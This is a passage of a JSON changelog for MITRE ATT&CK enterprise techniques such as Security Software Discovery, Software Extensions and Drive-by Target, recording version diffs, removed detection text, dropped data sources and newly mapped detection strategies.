"x_mitre_version": "1.5", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: OS API Execution\", \"Command: Command Execution\", \"Process: Process Creation\", \"Firewall: Firewall Enumeration\", \"Firewall: Firewall Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:31.671000+00:00\", \"old_value\": \"2025-04-15 19:59:16.123000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained.\\n\\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained.\\n-\\n-Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\"}}}", + "previous_version": "1.5", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0018: Firewall (Firewall Enumeration)", + "DS0018: Firewall (Firewall Metadata)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0392: Multi-Platform Software Discovery Behavior Chain" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-21 21:16:18.066000+00:00", + "modified": "2025-10-24 17:49:23.401000+00:00", + "name": "Security Software Discovery", + "description": "Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as cloud monitoring agents and anti-virus. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nExample commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), reg query with [Reg](https://attack.mitre.org/software/S0075), dir with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for. It is becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.\n\nAdversaries may also utilize the [Cloud API](https://attack.mitre.org/techniques/T1059/009) to discover cloud-native security software installed on compute infrastructure, such as the AWS CloudWatch agent, Azure VM Agent, and Google Cloud Monitor agent. These agents may collect metrics and logs from the VM, which may be centrally aggregated in a cloud-based monitoring platform.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1518/001", + "external_id": "T1518.001" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Isif Ibrahima, Mandiant" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "IaaS", + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.5", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Firewall: Firewall Metadata\", \"Command: Command Execution\", \"Process: OS API Execution\", \"Firewall: Firewall Enumeration\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:23.401000+00:00\", \"old_value\": \"2025-04-15 23:05:09.449000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained.\\n\\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\\n\\nIn cloud environments, additionally monitor logs for the usage of APIs that may be used to gather information about security software configurations within the environment.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained.\\n-\\n-Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\\n-\\n-In cloud environments, additionally monitor logs for the usage of APIs that may be used to gather information about security software configurations within the environment.\"}}}", + "previous_version": "1.5", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0018: Firewall (Firewall Enumeration)", + "DS0018: Firewall (Firewall Metadata)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0016: Security Software Discovery Across Platforms" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16 16:13:52.465000+00:00", + "modified": "2025-10-24 17:48:39.525000+00:00", + "name": "Software Extensions", + "description": "Adversaries may abuse software extensions to establish persistent access to victim systems. Software extensions are modular components that enhance or customize the functionality of software applications, including web browsers, Integrated Development Environments (IDEs), and other platforms.(Citation: Chrome Extension C2 Malware)(Citation: Abramovsky VSCode Security) Extensions are typically installed via official marketplaces, app stores, or manually loaded by users, and they often inherit the permissions and access levels of the host application. \n\n \nMalicious extensions can be introduced through various methods, including social engineering, compromised marketplaces, or direct installation by users or by adversaries who have already gained access to a system. Malicious extensions can be named similarly or identically to benign extensions in marketplaces. Security mechanisms in extension marketplaces may be insufficient to detect malicious components, allowing adversaries to bypass automated scanners or exploit trust established during the installation process. Adversaries may also abuse benign extensions to achieve their objectives, such as using legitimate functionality to tunnel data or bypass security controls. \n\nThe modular nature of extensions and their integration with host applications make them an attractive target for adversaries seeking to exploit trusted software ecosystems. Detection can be challenging due to the inherent trust placed in extensions during installation and their ability to blend into normal application workflows. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1176", + "external_id": "T1176" + }, + { + "source_name": "Abramovsky VSCode Security", + "description": "Abramovsky, O. (2023, May 16). VSCode Security: Malicious Extensions Detected- More Than 45,000 Downloads- PII Exposed, and Backdoors Enabled. Retrieved March 30, 2025.", + "url": "https://blog.checkpoint.com/securing-the-cloud/malicious-vscode-extensions-with-more-than-45k-downloads-steal-pii-and-enable-backdoors/" + }, + { + "source_name": "xorrior chrome extensions macOS", + "description": "Chris Ross. (2019, February 8). No Place Like Chrome. Retrieved April 27, 2021.", + "url": "https://www.xorrior.com/No-Place-Like-Chrome/" + }, + { + "source_name": "Chrome Extension C2 Malware", + "description": "Kjaer, M. (2016, July 18). Malware in the browser: how you might get hacked by a Chrome extension. Retrieved September 12, 2024.", + "url": "https://web.archive.org/web/20240608001937/https://kjaer.io/extension-malware/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Chris Ross @xorrior", + "Justin Warner, ICEBRG", + "Manikantan Srinivasan, NEC Corporation India" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "2.0", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Network Traffic: Network Traffic Flow\", \"Command: Command Execution\", \"File: File Creation\", \"Network Traffic: Network Connection Creation\", \"Windows Registry: Windows Registry Key Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:39.525000+00:00\", \"old_value\": \"2025-04-15 19:58:22.784000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Inventory and monitor browser extension installations that deviate from normal, expected, and benign extensions. Process and network monitoring can be used to detect browsers communicating with a C2 server. However, this may prove to be a difficult way of initially detecting a malicious extension depending on the nature and volume of the traffic it generates.\\n\\nMonitor for any new items written to the Registry or PE files written to disk. That may correlate with browser extension installation.\\n\\nOn macOS, monitor the command line for usage of the profiles tool, such as profiles install -type=configuration. Additionally, all installed extensions maintain a plist file in the /Library/Managed Preferences/username/ directory. Ensure all listed files are in alignment with approved extensions.(Citation: xorrior chrome extensions macOS)\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Inventory and monitor browser extension installations that deviate from normal, expected, and benign extensions. Process and network monitoring can be used to detect browsers communicating with a C2 server. However, this may prove to be a difficult way of initially detecting a malicious extension depending on the nature and volume of the traffic it generates.\\n-\\n-Monitor for any new items written to the Registry or PE files written to disk. That may correlate with browser extension installation.\\n-\\n-On macOS, monitor the command line for usage of the profiles tool, such as profiles install -type=configuration. Additionally, all installed extensions maintain a plist file in the /Library/Managed Preferences/username/ directory. Ensure all listed files are in alignment with approved extensions.(Citation: xorrior chrome extensions macOS)\"}}}", + "previous_version": "2.0", + "changelog_mitigations": { + "shared": [ + "M1017: User Training", + "M1033: Limit Software Installation", + "M1038: Execution Prevention", + "M1047: Audit", + "M1051: Update Software" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Creation)", + "DS0024: Windows Registry (Windows Registry Key Creation)", + "DS0029: Network Traffic (Network Connection Creation)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0092: Detection of Malicious or Unauthorized Software Extensions" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--84771bc3-f6a0-403e-b144-01af70e5fda0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-03-17 20:04:09.331000+00:00", + "modified": "2025-10-24 17:49:03.444000+00:00", + "name": "Stage Capabilities", + "description": "Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting. To support their operations, an adversary may need to take capabilities they developed ([Develop Capabilities](https://attack.mitre.org/techniques/T1587)) or obtained ([Obtain Capabilities](https://attack.mitre.org/techniques/T1588)) and stage them on infrastructure under their control. These capabilities may be staged on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Capabilities may also be staged on web services, such as GitHub or Pastebin, or on Platform-as-a-Service (PaaS) offerings that enable users to easily provision applications.(Citation: Volexity Ocean Lotus November 2020)(Citation: Dragos Heroku Watering Hole)(Citation: Malwarebytes Heroku Skimmers)(Citation: Netskope GCP Redirection)(Citation: Netskope Cloud Phishing)\n\nStaging of capabilities can aid the adversary in a number of initial access and post-compromise behaviors, including (but not limited to):\n\n* Staging web resources necessary to conduct [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) when a user browses to a site.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015)(Citation: ATT ScanBox)\n* Staging web resources for a link target to be used with spearphishing.(Citation: Malwarebytes Silent Librarian October 2020)(Citation: Proofpoint TA407 September 2019)\n* Uploading malware or tools to a location accessible to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).(Citation: Volexity Ocean Lotus November 2020)\n* Installing a previously acquired SSL/TLS certificate to use to encrypt command and control traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)).(Citation: DigiCert Install SSL Cert)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1608", + "external_id": "T1608" + }, + { + "source_name": "Volexity Ocean Lotus November 2020", + "description": "Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020.", + "url": "https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/" + }, + { + "source_name": "Netskope GCP Redirection", + "description": "Ashwin Vamshi. (2019, January 24). Targeted Attacks Abusing Google Cloud Platform Open Redirection. Retrieved August 18, 2022.", + "url": "https://www.netskope.com/blog/targeted-attacks-abusing-google-cloud-platform-open-redirection" + }, + { + "source_name": "Netskope Cloud Phishing", + "description": "Ashwin Vamshi. (2020, August 12). A Big Catch: Cloud Phishing from Google App Engine and Azure App Service. Retrieved August 18, 2022.", + "url": "https://www.netskope.com/blog/a-big-catch-cloud-phishing-from-google-app-engine-and-azure-app-service" + }, + { + "source_name": "ATT ScanBox", + "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.", + "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks" + }, + { + "source_name": "DigiCert Install SSL Cert", + "description": "DigiCert. (n.d.). How to Install an SSL Certificate. Retrieved April 19, 2021.", + "url": "https://www.digicert.com/kb/ssl-certificate-installation.htm" + }, + { + "source_name": "Gallagher 2015", + "description": "Gallagher, S.. (2015, August 5). Newly discovered Chinese hacking group hacked 100+ websites to use as \u201cwatering holes\u201d. Retrieved January 25, 2016.", + "url": "http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/" + }, + { + "source_name": "Malwarebytes Heroku Skimmers", + "description": "J\u00e9r\u00f4me Segura. (2019, December 4). There's an app for that: web skimmers found on PaaS Heroku. Retrieved August 18, 2022.", + "url": "https://www.malwarebytes.com/blog/news/2019/12/theres-an-app-for-that-web-skimmers-found-on-paas-heroku" + }, + { + "source_name": "Dragos Heroku Watering Hole", + "description": "Kent Backman. (2021, May 18). When Intrusions Don\u2019t Align: A New Water Watering Hole and Oldsmar. Retrieved August 18, 2022.", + "url": "https://www.dragos.com/blog/industry-news/a-new-water-watering-hole/" + }, + { + "source_name": "FireEye CFR Watering Hole 2012", + "description": "Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details. Retrieved November 17, 2024.", + "url": "https://web.archive.org/web/20201024230407/https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html" + }, + { + "source_name": "Malwarebytes Silent Librarian October 2020", + "description": "Malwarebytes Threat Intelligence Team. (2020, October 14). Silent Librarian APT right on schedule for 20/21 academic year. Retrieved February 3, 2021.", + "url": "https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/" + }, + { + "source_name": "Proofpoint TA407 September 2019", + "description": "Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021.", + "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Internet Scan: Response Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:03.444000+00:00\", \"old_value\": \"2025-04-15 23:12:21.613000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"If infrastructure or patterns in malware, tooling, certificates, or malicious web content have been previously identified, internet scanning may uncover when an adversary has staged their capabilities.\\n\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as initial access and post-compromise behaviors.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-If infrastructure or patterns in malware, tooling, certificates, or malicious web content have been previously identified, internet scanning may uncover when an adversary has staged their capabilities.\\n-\\n-Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as initial access and post-compromise behaviors.\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0035: Internet Scan (Response Content)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0839: Detection of Stage Capabilities" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--31fe0ba2-62fd-4fd9-9293-4043d84f7fe9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-03-17 20:33:20.127000+00:00", + "modified": "2025-10-24 17:48:36.634000+00:00", + "name": "Drive-by Target", + "description": "Adversaries may prepare an operational environment to infect systems that visit a website over the normal course of browsing. Endpoint systems may be compromised through browsing to adversary controlled sites, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). In such cases, the user's web browser is typically targeted for exploitation (often not requiring any extra user interaction once landing on the site), but adversaries may also set up websites for non-exploitation behavior such as [Application Access Token](https://attack.mitre.org/techniques/T1550/001). Prior to [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), adversaries must stage resources needed to deliver that exploit to users who browse to an adversary controlled site. Drive-by content can be staged on adversary controlled infrastructure that has been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).\n\nAdversaries may upload or inject malicious web content, such as [JavaScript](https://attack.mitre.org/techniques/T1059/007), into websites.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015) This may be done in a number of ways, including:\n\n* Inserting malicious scripts into web pages or other user controllable web content such as forum posts\n* Modifying script files served to websites from publicly writeable cloud storage buckets\n* Crafting malicious web advertisements and purchasing ad space on a website through legitimate ad providers (i.e., [Malvertising](https://attack.mitre.org/techniques/T1583/008))\n\nIn addition to staging content to exploit a user's web browser, adversaries may also stage scripting content to profile the user's browser (as in [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592)) to ensure it is vulnerable prior to attempting exploitation.(Citation: ATT ScanBox)\n\nWebsites compromised by an adversary and used to stage a drive-by may be ones visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is referred to a strategic web compromise or watering hole attack.\n\nAdversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1608/004", + "external_id": "T1608.004" + }, + { + "source_name": "ATT ScanBox", + "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.", + "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks" + }, + { + "source_name": "Gallagher 2015", + "description": "Gallagher, S.. (2015, August 5). Newly discovered Chinese hacking group hacked 100+ websites to use as \u201cwatering holes\u201d. Retrieved January 25, 2016.", + "url": "http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/" + }, + { + "source_name": "FireEye CFR Watering Hole 2012", + "description": "Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details. Retrieved November 17, 2024.", + "url": "https://web.archive.org/web/20201024230407/https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Internet Scan: Response Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:36.634000+00:00\", \"old_value\": \"2025-04-15 22:24:03.854000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"If infrastructure or patterns in the malicious web content utilized to deliver a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) have been previously identified, internet scanning may uncover when an adversary has staged web content for use in a strategic web compromise.\\n\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-If infrastructure or patterns in the malicious web content utilized to deliver a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) have been previously identified, internet scanning may uncover when an adversary has staged web content for use in a strategic web compromise.\\n-\\n-Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203).\"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0035: Internet Scan (Response Content)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0825: Detection of Drive-by Target" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--c071d8c1-3b3a-4f22-9407-ca4e96921069", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-03-17 20:32:13.793000+00:00", + "modified": "2025-10-24 17:49:19.322000+00:00", + "name": "Install Digital Certificate", + "description": "Adversaries may install SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are files that can be installed on servers to enable secure communications between systems. Digital certificates include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate securely with its owner. Certificates can be uploaded to a server, then the server can be configured to use the certificate to enable encrypted communication with it.(Citation: DigiCert Install SSL Cert)\n\nAdversaries may install SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or lending credibility to a credential harvesting site. Installation of digital certificates may take place for a number of server types, including web servers and email servers. \n\nAdversaries can obtain digital certificates (see [Digital Certificates](https://attack.mitre.org/techniques/T1588/004)) or create self-signed certificates (see [Digital Certificates](https://attack.mitre.org/techniques/T1587/003)). Digital certificates can then be installed on adversary controlled infrastructure that may have been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1608/003", + "external_id": "T1608.003" + }, + { + "source_name": "DigiCert Install SSL Cert", + "description": "DigiCert. (n.d.). How to Install an SSL Certificate. Retrieved April 19, 2021.", + "url": "https://www.digicert.com/kb/ssl-certificate-installation.htm" + }, + { + "source_name": "Splunk Kovar Certificates 2017", + "description": "Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.", + "url": "https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Internet Scan: Response Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:19.322000+00:00\", \"old_value\": \"2025-04-15 22:42:10.891000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017)\\n\\nDetection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001) or [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017)\\n-\\n-Detection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001) or [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002).\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0035: Internet Scan (Response Content)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0840: Detection of Install Digital Certificate" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--84ae8255-b4f4-4237-b5c5-e717405a9701", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-03-17 20:35:08.429000+00:00", + "modified": "2025-10-24 17:49:03.552000+00:00", + "name": "Link Target", + "description": "Adversaries may put in place resources that are referenced by a link that can be used during targeting. An adversary may rely upon a user clicking a malicious link in order to divulge information (including credentials) or to gain execution, as in [Malicious Link](https://attack.mitre.org/techniques/T1204/001). Links can be used for spearphishing, such as sending an email accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. Prior to a phish for information (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003)) or a phish to gain initial access to a system (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002)), an adversary must set up the resources for a link target for the spearphishing link. \n\nTypically, the resources for a link target will be an HTML page that may include some client-side script such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) to decide what content to serve to the user. Adversaries may clone legitimate sites to serve as the link target, this can include cloning of login pages of legitimate web services or organization login pages in an effort to harvest credentials during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003).(Citation: Malwarebytes Silent Librarian October 2020)(Citation: Proofpoint TA407 September 2019) Adversaries may also [Upload Malware](https://attack.mitre.org/techniques/T1608/001) and have the link target point to malware for download/execution by the user.\n\nAdversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) 